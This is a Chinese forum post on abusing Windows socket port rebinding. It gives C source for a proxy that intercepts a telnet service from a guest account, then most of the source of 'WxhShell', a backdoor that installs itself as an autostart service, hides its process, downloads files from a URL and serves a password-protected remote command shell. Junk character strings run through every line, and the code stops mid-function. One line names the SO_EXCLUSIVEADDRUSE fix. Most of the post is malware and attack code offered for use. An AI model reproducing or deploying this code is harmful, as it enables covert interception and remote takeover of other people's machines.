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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _|2:_N=   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F/{!tx  
9.-S(ZO  
  saddr.sin_family = AF_INET; |HQW0  
zC!t;*8a  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \gaw6S>n}  
8TKnL\aar  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IEi^kJflU  
K69'6?#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =UQ3HQD  
bAqA1y3=  
  这意味着什么?意味着可以进行如下的攻击: j,eo2HaL  
2/^3WY1U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Yj49t_$b  
Qw*|qGvy^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d7upz]K9g  
CHX#^0m.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;6$jf:2m  
va@Lz&sAE%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n_A3#d<9  
Ti5-6%~&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1Pu~X \sO  
;A*]l' [-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Jnov<+  
4D4j7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g) jYFfGfH  
8l rpve  
  #include 99QU3c<.  
  #include TvbE2Q;/UL  
  #include rV#ch(  
  #include    )y$(AJx$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VTE .^EK!  
  int main() F JyT+  
  { } q8ASYNc  
  WORD wVersionRequested; nNn :-  
  DWORD ret; kffcm/  
  WSADATA wsaData; ~]2K ^bh8&  
  BOOL val; 5rik7a)Z]  
  SOCKADDR_IN saddr; kxv1Hn"`{E  
  SOCKADDR_IN scaddr; YaqJ,"GlT  
  int err; 7kE n \  
  SOCKET s;  \4fQMG  
  SOCKET sc; c^W)07-X5y  
  int caddsize; a:w#s}bL  
  HANDLE mt; &^jXEz;  
  DWORD tid;   Avb\{)s+  
  wVersionRequested = MAKEWORD( 2, 2 ); ' `Hr}  
  err = WSAStartup( wVersionRequested, &wsaData ); x.$FNt(9  
  if ( err != 0 ) { <LiPEo.R  
  printf("error!WSAStartup failed!\n"); #ABZ&Z  
  return -1; tR$NRMZ.  
  } i/Zd8+.n$  
  saddr.sin_family = AF_INET; 7%M_'P4 V  
   wibNQ`4k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 j3Y['xDv  
[ 4)F f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;2QP7PrSY  
  saddr.sin_port = htons(23); |A(Iti{v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tCt#%7J;a  
  { +ZP7{%  
  printf("error!socket failed!\n"); Nh44]*  
  return -1; ?:0Jav  
  } sYA1\YIii  
  val = TRUE; BI@[\aRLQ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S_H+WfIHV'  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >A"(KSNL  
  { pQB."[n  
  printf("error!setsockopt failed!\n"); %xLh Z\  
  return -1; xAm6BB c  
  } Ny/MJ#Lq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *vMn$,^0h9  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )^hbsMhO  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #RLt^$!H  
J{G?-+`  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C0Z=~Q%  
  { d<Tc7vg4|U  
  ret=GetLastError(); {' H(g[k  
  printf("error!bind failed!\n"); \  Cj7k^  
  return -1; f|g g  
  } Y'X%Aw;`  
  listen(s,2); HGg@ _9tW  
  while(1) )4;`^]F  
  { 0"z9Q\{}  
  caddsize = sizeof(scaddr); ,V}WM%Km  
  //接受连接请求 qH_Dc=~la  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1$ {SRU7l  
  if(sc!=INVALID_SOCKET) u*9V&>o  
  { S+lqA-:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6Kz,{F@  
  if(mt==NULL) uyx 2;f  
  { $ocdI5  
  printf("Thread Creat Failed!\n"); A3*!"3nU  
  break; 2X&qE}%k S  
  } |y!A&d=xYn  
  } X}0cCdW  
  CloseHandle(mt); dAj$1Ke  
  } yB6?`3A:  
  closesocket(s); Dvln/SBk  
  WSACleanup(); ;dhQN }7  
  return 0; *Pg2c(Vg  
  }   cB&:z)i4  
  DWORD WINAPI ClientThread(LPVOID lpParam) PPsE${!  
  { \73ch  
  SOCKET ss = (SOCKET)lpParam; }(u ol  
  SOCKET sc; P!k{u^$L  
  unsigned char buf[4096]; FVBYo%Ap  
  SOCKADDR_IN saddr; NGWxN8P6  
  long num; 2J;g{95z  
  DWORD val; v &+R^iLE  
  DWORD ret; @KAI4LP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a' IdYW0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   vvOV2n .WD  
  saddr.sin_family = AF_INET; I2Yz#V<%ru  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3R V R  
  saddr.sin_port = htons(23); 3+bt~J0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Aiea\j Bv  
  { t#"Grk8Mz&  
  printf("error!socket failed!\n"); {l >hMxij  
  return -1; +nGAz{&@r%  
  } Y6d@h? ht  
  val = 100; vr^qWn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0ZO2#>gh$  
  { @=kSo -SX  
  ret = GetLastError(); as=LIw}Q4  
  return -1; `P ,d$H "  
  } PFK  '$  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n(]-y@X0_  
  { ;*&-C9b  
  ret = GetLastError(); Wv/=O}  
  return -1; ete.!*=  
  } RpYERAgT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3f;>" P}  
  { S21,VpW\  
  printf("error!socket connect failed!\n"); ^Zp>G{QL{  
  closesocket(sc); dcT80sOC  
  closesocket(ss); j <RrLn_  
  return -1; _<2E"PrT   
  } 0qT%!ku&  
  while(1) }o{(S%%  
  { c[Zje7 @  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %u5]>]M+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Om {'1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dC4'{ n|7  
  num = recv(ss,buf,4096,0); y*h<MQ  
  if(num>0) 6S\8$  
  send(sc,buf,num,0); {FTqu.  
  else if(num==0) @xZR9Z8]L  
  break; RCLeA=/N@0  
  num = recv(sc,buf,4096,0); 4v|W-h"K  
  if(num>0) u> / TE  
  send(ss,buf,num,0); 61 ~upQaR  
  else if(num==0) t&Og$@  
  break; BL58] P84  
  } xAP+FWyV  
  closesocket(ss); (_{y B[z>`  
  closesocket(sc); '[O;zJN;  
  return 0 ; h`.&f  
  } y18Y:)DkL  
6\S~P/PkE  
9]@!S|1  
========================================================== NW)1#]gg%  
gv{ >`AN  
下边附上一个代码,,WXhSHELL j 1HW._G  
^y4Z+Gu[  
========================================================== W|(1Y D  
kz7(Z'pw  
#include "stdafx.h" Nl(Foya%)  
VOh4#%Vj  
#include <stdio.h> $, fX:x  
#include <string.h> EDs\,f}  
#include <windows.h> _t}WsEQ+P  
#include <winsock2.h> B4 8={  
#include <winsvc.h> ,wdD8ZT'Ip  
#include <urlmon.h> hwNf~3eJk  
h3@v+Z<}  
#pragma comment (lib, "Ws2_32.lib") t<?,F  
#pragma comment (lib, "urlmon.lib") P}`H ~N~  
B^jc3 VsR  
#define MAX_USER   100 // 最大客户端连接数 fa2kG&, _  
#define BUF_SOCK   200 // sock buffer S`m]f5u|  
#define KEY_BUFF   255 // 输入 buffer BJo*'US-Q  
n@[O|?S  
#define REBOOT     0   // 重启 -;k+GrLr^  
#define SHUTDOWN   1   // 关机 "Os_vlapHo  
ps DetP  
#define DEF_PORT   5000 // 监听端口 Xm2z}X(%  
S?BG_J6A7  
#define REG_LEN     16   // 注册表键长度 4|#WFLo@  
#define SVC_LEN     80   // NT服务名长度 1 I",L&S1  
{P#|zp4C{  
// 从dll定义API U\!X,a*ts{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); CQDkFQq-dq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -1ub^feJ,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n>U5R_T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6/dI6C!  
4]}'Hln*U  
// wxhshell配置信息 IRqy%@)  
struct WSCFG { 42ivT_H  
  int ws_port;         // 监听端口 iM 3V=&)  
  char ws_passstr[REG_LEN]; // 口令 i8HTzv"J  
  int ws_autoins;       // 安装标记, 1=yes 0=no {U !g.rh  
  char ws_regname[REG_LEN]; // 注册表键名 Tc3yS(aq  
  char ws_svcname[REG_LEN]; // 服务名 ;@E$}*3[>V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0NX,QD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fL7xq$K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0%I=d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @>H75  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,U dVNA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x.R4% Z  
K8Y=S12Ti  
}; uOdl*|T?  
c<$OA=n  
// default Wxhshell configuration I?G :p+  
struct WSCFG wscfg={DEF_PORT, 7EO_5/cY  
    "xuhuanlingzhe", CF5`-wj/#  
    1, ~z;FP$U  
    "Wxhshell", hp L;bM'  
    "Wxhshell", %sQ^.` 2  
            "WxhShell Service", "AGLVp.zT  
    "Wrsky Windows CmdShell Service", *<ewS8f*6  
    "Please Input Your Password: ", Alw3\_X  
  1, Gjo`&#  
  "http://www.wrsky.com/wxhshell.exe", k7usMVAA  
  "Wxhshell.exe" %FIE\9  
    }; 'Ne@e)s9  
K:30_l<  
// 消息定义模块 mvT(.R ..s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O]1(FWYy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GYUn6P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  zi`o#+  
char *msg_ws_ext="\n\rExit."; K~uq,~  
char *msg_ws_end="\n\rQuit."; #],&>n7'  
char *msg_ws_boot="\n\rReboot..."; 1 Nd2{(  
char *msg_ws_poff="\n\rShutdown..."; y>e.~5;  
char *msg_ws_down="\n\rSave to "; _[ZO p ~  
w!clI8v/  
char *msg_ws_err="\n\rErr!"; HEc+;O1<  
char *msg_ws_ok="\n\rOK!"; D]Xsvv #  
5 5c|O  
char ExeFile[MAX_PATH]; q;>7*Y&  
int nUser = 0; M}v/tRI  
HANDLE handles[MAX_USER]; .z}~4BY  
int OsIsNt; YcK|.Mq':  
=h73s0 ]  
SERVICE_STATUS       serviceStatus; F;0}x;:>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s>n)B^64W  
Ng>h"H  
// 函数声明 dQR-H7U  
int Install(void); Qhcu>r a  
int Uninstall(void); ?]Xpi3k  
int DownloadFile(char *sURL, SOCKET wsh); qVwIo.g!  
int Boot(int flag); =xx]@  
void HideProc(void); 'qX|jtdM  
int GetOsVer(void); ..'_o~Ka  
int Wxhshell(SOCKET wsl); /,Re "!jh  
void TalkWithClient(void *cs); j+v=Ul|l  
int CmdShell(SOCKET sock); CooQ>f  
int StartFromService(void); m:o<XK[>  
int StartWxhshell(LPSTR lpCmdLine); P:]^rke~&  
+l{=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JKGe"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XaPV9 4  
Qtv&ijFC  
// 数据结构和表定义 H6 HVu |  
SERVICE_TABLE_ENTRY DispatchTable[] = ]R9HyCl&a6  
{ xw2[d+mB  
{wscfg.ws_svcname, NTServiceMain}, Av V|(K"  
{NULL, NULL} ' AEE[  
}; 56-dD5{hxR  
xCl1g4N  
// 自我安装 =uYYsC\T  
int Install(void) 2/=l|!JKLz  
{ /?F/9hL  
  char svExeFile[MAX_PATH]; DG ;_Vg  
  HKEY key; G@jZ)2  
  strcpy(svExeFile,ExeFile); 3r."j2$Hs0  
Zu("#cA.H  
// 如果是win9x系统,修改注册表设为自启动 xx9 g''Q  
if(!OsIsNt) { MC:@U~}6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v"XGCi91L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UH-*(MfB  
  RegCloseKey(key); 90*5 5\>{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6){]1h"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3e;^/kf<9  
  RegCloseKey(key); .Blf5b  
  return 0; WE.{p>  
    } w\i\Wp,FP  
  } qjdMqoOCjl  
} 22M1j5  
else { K<ft2anY5  
n+q!l&&  
// 如果是NT以上系统,安装为系统服务 z Q`jP$2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]<rkxgMW>  
if (schSCManager!=0) MWpQ^dL_  
{ >A"v ed8  
  SC_HANDLE schService = CreateService %Iv,@}kvT+  
  ( BB*f4z$Y%  
  schSCManager, ;=; 9tX  
  wscfg.ws_svcname, .e=:RkI,  
  wscfg.ws_svcdisp, LzXmb 7A  
  SERVICE_ALL_ACCESS, D rHV G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p#?7 w  
  SERVICE_AUTO_START, [~#WG/!:  
  SERVICE_ERROR_NORMAL, ,<tX%n`v=  
  svExeFile, Hmd] FC,_  
  NULL, ``Dq  
  NULL, W=Mb  
  NULL, BJsz2t :0  
  NULL, MmnOHN@.  
  NULL 1&)?JZhg  
  ); }v*G_}^  
  if (schService!=0) KgiJUO`PR  
  { Q$1bWUS&  
  CloseServiceHandle(schService); >x+6{^}Q>  
  CloseServiceHandle(schSCManager); g Vv>9W('  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )d1_Wm#B  
  strcat(svExeFile,wscfg.ws_svcname); 1V4s<m>#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zHL@i0>^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f]|ysf  
  RegCloseKey(key); /VS [pXXT|  
  return 0; 1#*a:F&re  
    } Gh}LlX!w  
  } v~V5`%  
  CloseServiceHandle(schSCManager); (\a]"g,]v  
} t.&Od;\[/  
} {fF3/tL  
P'*)\faw  
return 1; 36%nB*  
} &7b|4a8B%  
6c"0})p  
// 自我卸载 28H8l2{[>  
int Uninstall(void) $8xl#SqH  
{ z4+k7a@jn  
  HKEY key; v!Pb`LCqK  
M?:c)&$]D  
if(!OsIsNt) { xA 1hfe.9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e8]\U/  
  RegDeleteValue(key,wscfg.ws_regname); O-cbX/d  
  RegCloseKey(key); *x])Y~oQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,M6 Sy]Aj  
  RegDeleteValue(key,wscfg.ws_regname); OCJnjlV%  
  RegCloseKey(key); e7(ucE  
  return 0; O QT;zqup  
  } IOoz^/'  
} P%=#^T&`}  
} _$f9]bab  
else { 9C[ywp  
P h}|dGb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y"Ql!5=  
if (schSCManager!=0) M^iU;vo  
{ \2}bi:e 6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /yF QeE  
  if (schService!=0) @t`Xq1  
  { Xn,v]$M!  
  if(DeleteService(schService)!=0) { 9h%?QC  
  CloseServiceHandle(schService); }_;!hdY q  
  CloseServiceHandle(schSCManager); r'uGWW"w  
  return 0; c`WHNky%j  
  } 4Hn`'+b  
  CloseServiceHandle(schService); ./D$dbu3  
  } 8 <7GdCME  
  CloseServiceHandle(schSCManager); z$GoaS(  
} :l&V]}:7*  
} E3l> 3  
vR=6pl$|~~  
return 1; &q~:~   
} B`o]*"xkB  
;3@YZM'wt  
// 从指定url下载文件 6,LubZFD  
int DownloadFile(char *sURL, SOCKET wsh) (_*5oj -  
{ bi&*9K0  
  HRESULT hr; I}t3 p|z  
char seps[]= "/"; 0zCw>wBPW  
char *token; 3g~^[&|i  
char *file; |),'9  
char myURL[MAX_PATH]; *B\H-lp?  
char myFILE[MAX_PATH]; VY"9?2?/  
k`9)=&zX+  
strcpy(myURL,sURL); <b?!jV7  
  token=strtok(myURL,seps); @~"an qT`  
  while(token!=NULL) jhX[fT1m  
  { 1q3( @D5~+  
    file=token; #gaQaUjR  
  token=strtok(NULL,seps); uy^   
  } f\1A! Yp  
HCJ>X;(`f?  
GetCurrentDirectory(MAX_PATH,myFILE); :nS;W  
strcat(myFILE, "\\"); }^*F59>H  
strcat(myFILE, file); ^6P3%  
  send(wsh,myFILE,strlen(myFILE),0); l?DJJ|>O  
send(wsh,"...",3,0); X_G| hx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (N K9vW4F  
  if(hr==S_OK) (?kl$~&|  
return 0; `)h6j)xiQ  
else ;HBC Ue<_  
return 1; !W'Ui 9uX  
1w0OKaF5  
} %?hsoj&k  
J5[~LZKW  
// 系统电源模块 gx:;&4AD  
int Boot(int flag) ?Xo*1Z =  
{ fiI $T:g.  
  HANDLE hToken; Lru-u:  
  TOKEN_PRIVILEGES tkp; 3!o4)yJWx  
9 ASb>A2~  
  if(OsIsNt) { u@P[Vb   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]PP:oriWl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C#=bW'C  
    tkp.PrivilegeCount = 1; (9mMkU=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #Hh^3N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Koln9'tB  
if(flag==REBOOT) { Q2%QLM:.,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \#x}q'BC4  
  return 0; s;YKeE!8  
} F'?I-jtI  
else { Q_"\Q/=?Do  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uH^ PQ  
  return 0; (5Tvsw`  
} JH]K/sC>  
  } 1fL<&G  
  else { j?|* LT$%7  
if(flag==REBOOT) { FM5e+$>@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pe~`16f  
  return 0; p'?w2YN/  
} @TA9V@?)  
else { 5lJ )(|_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) MuEy>dl  
  return 0; '!Kf#@';u  
} =vh8T\  
} }98>5%Uv  
-,":5V26  
return 1; \H5Jk$*  
} c| ' w  
bT!($?GNdg  
// win9x进程隐藏模块 VzRx%j/i  
void HideProc(void) 7TX,T|>9  
{ h#Ce_,o  
)yb+M ez  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;<G<1+  
  if ( hKernel != NULL ) x@cN3O  
  { H.O(*Q=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xQlT%X;'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }Ewo_P&`  
    FreeLibrary(hKernel); mg+k'Myo+  
  } qMS}t3X  
K2/E#}/  
return; <-jGqUN_I  
} HrqF![_  
K{ }4zuZ  
// 获取操作系统版本 ~k4W<   
int GetOsVer(void) GG'Sp53GE  
{ L,-u.vV  
  OSVERSIONINFO winfo; ~ |,e_ zA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G\Q9IcJ0dY  
  GetVersionEx(&winfo); `:-J+<`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .Tm- g#  
  return 1; iTNqWU-o  
  else IB7tAG8  
  return 0; j/<??v4F4  
} j+748QAhh  
z-0:m|=yH  
// 客户端句柄模块 5FuK\y  
int Wxhshell(SOCKET wsl) v`G U09   
{ <~%t$:  
  SOCKET wsh; 9Nl* 4  
  struct sockaddr_in client; 3GmK3uM  
  DWORD myID; .Y/-8H-3v  
z=?0)e(H,  
  while(nUser<MAX_USER) ~! Lw1]&  
{ &9ki O  
  int nSize=sizeof(client); ] EyeBF)$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?\yB)Nd y  
  if(wsh==INVALID_SOCKET) return 1; l:tpL(%  
L/k40cEI^z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tvWH04T  
if(handles[nUser]==0) hrlCKL&  
  closesocket(wsh); q lY\*{x4  
else S_!R^^ySG9  
  nUser++;  $o+&Y5:  
  } 6IF|3@yD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]b\WaS8I  
ucFw,sB1  
  return 0; *Yp qq  
} M-91 JOt~  
3GWrn ,f  
// 关闭 socket p[P[#IeL  
void CloseIt(SOCKET wsh) 2<.Vv\ =  
{ 0O ['w<_  
closesocket(wsh); CI1m5g [P  
nUser--; bVmvjY4  
ExitThread(0); `1p?*9Ssn  
} kOM-  
B=x~L  
// 客户端请求句柄 ZmO' IT=Ye  
void TalkWithClient(void *cs) XkoWL  
{ Cs;<'[_?YO  
0XQ-   
  SOCKET wsh=(SOCKET)cs; e6es0D[>5  
  char pwd[SVC_LEN]; K-Y* T}?  
  char cmd[KEY_BUFF]; :dbV2'vIQ  
char chr[1]; r2)pAiTM*  
int i,j; ^AH-+#5  
][ N) 2_^M  
  while (nUser < MAX_USER) { <VgE39 [  
Bzm. X=U:  
if(wscfg.ws_passstr) { Lj-{t% }  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `i{4cT8:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V?WMj $l<  
  //ZeroMemory(pwd,KEY_BUFF); *kV#)j  
      i=0; Suj}MEiv  
  while(i<SVC_LEN) { X!?wL 0n  
=1&}t%<X  
  // 设置超时 8ST~$!z$  
  fd_set FdRead; -q|*M:R  
  struct timeval TimeOut; s2%0#6c'c  
  FD_ZERO(&FdRead); fzOMX z  
  FD_SET(wsh,&FdRead); iPJ9Gh7  
  TimeOut.tv_sec=8; FL~9</  
  TimeOut.tv_usec=0; Wpa$B )xg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K-ju,4A  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @<%oIE~]F  
} pSt@3o,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fLc!Sn.Y  
  pwd=chr[0]; jBGG2[hV  
  if(chr[0]==0xd || chr[0]==0xa) { 6#/LyzZq|  
  pwd=0; jm~mhAE#  
  break; N_*u5mfQX  
  } xg4T` ])  
  i++; 5!2J;.&  
    } )OS>9 kFH  
($,iAb  
  // 如果是非法用户,关闭 socket +KYxw^k}"7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ig='a"%  
} 23,%=U  
_g^E%@'W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kz3?j<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .)?2)Fl  
/,-h%gj  
while(1) { W'm!f  
Nt?2USTs-  
  ZeroMemory(cmd,KEY_BUFF); fB@K'JQG  
P<TpG0~(  
      // 自动支持客户端 telnet标准   p,!fIx  
  j=0; 6eW1<p  
  while(j<KEY_BUFF) { 5n-9#J$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uVoF<={  
  cmd[j]=chr[0]; []sB^UT  
  if(chr[0]==0xa || chr[0]==0xd) { 7/[TE  
  cmd[j]=0; YY1{v?[  
  break; A?^A*e  
  } I 0x`H)DA  
  j++; `bBfNI?3d*  
    } cWX"e6  
)F=JkG  
  // 下载文件 p3>Q<  
  if(strstr(cmd,"http://")) { -PIA;#Gs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ac*B[ywA3  
  if(DownloadFile(cmd,wsh)) ?HEo9/ *7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oP 6.t-<dU  
  else ir( -$*J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `!5tH?bX  
  } %N?W]vbra  
  else { ^59YfC<f  
Y`E {E|J  
    switch(cmd[0]) { oho AUT  
  6&/ Ew4 e  
  // 帮助 QSl:=Q'  
  case '?': { >b/k|?xP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~jgN_jz  
    break; \ (3Qqbw  
  } 62k9"xSH  
  // 安装 )U"D4j*p  
  case 'i': { xIq"[?m  
    if(Install()) 6_ 33*/>=c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hSLwiX~  
    else ePPp)=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ` maN5)  
    break; TA-(_jm  
    } )f:!#v(K  
  // 卸载 tXb7~aO  
  case 'r': { hr$VVbOho  
    if(Uninstall()) "`V"2zZlj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +lk\oj$S+  
    else eKU@>5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gpO_0U4lQ]  
    break; %i]uW\~U  
    } fjz2m   
  // 显示 wxhshell 所在路径 C4X{Ps \  
  case 'p': { f;_K}23  
    char svExeFile[MAX_PATH]; 1z $}*`  
    strcpy(svExeFile,"\n\r"); ??esB&4?  
      strcat(svExeFile,ExeFile); EnsNO_"e|  
        send(wsh,svExeFile,strlen(svExeFile),0); cr=FMfhB  
    break; iJynR [7  
    } L3h xe]mr  
  // 重启 2)j#O  
  case 'b': { X=!n,=xI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); VUg~[  
    if(Boot(REBOOT)) d9Ow 2KrC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qkR,<"C|`  
    else { y>pq*i  
    closesocket(wsh); FclSuQWti  
    ExitThread(0); ;29XvhS8  
    } <EMLiiNY  
    break; dBD4ogo1  
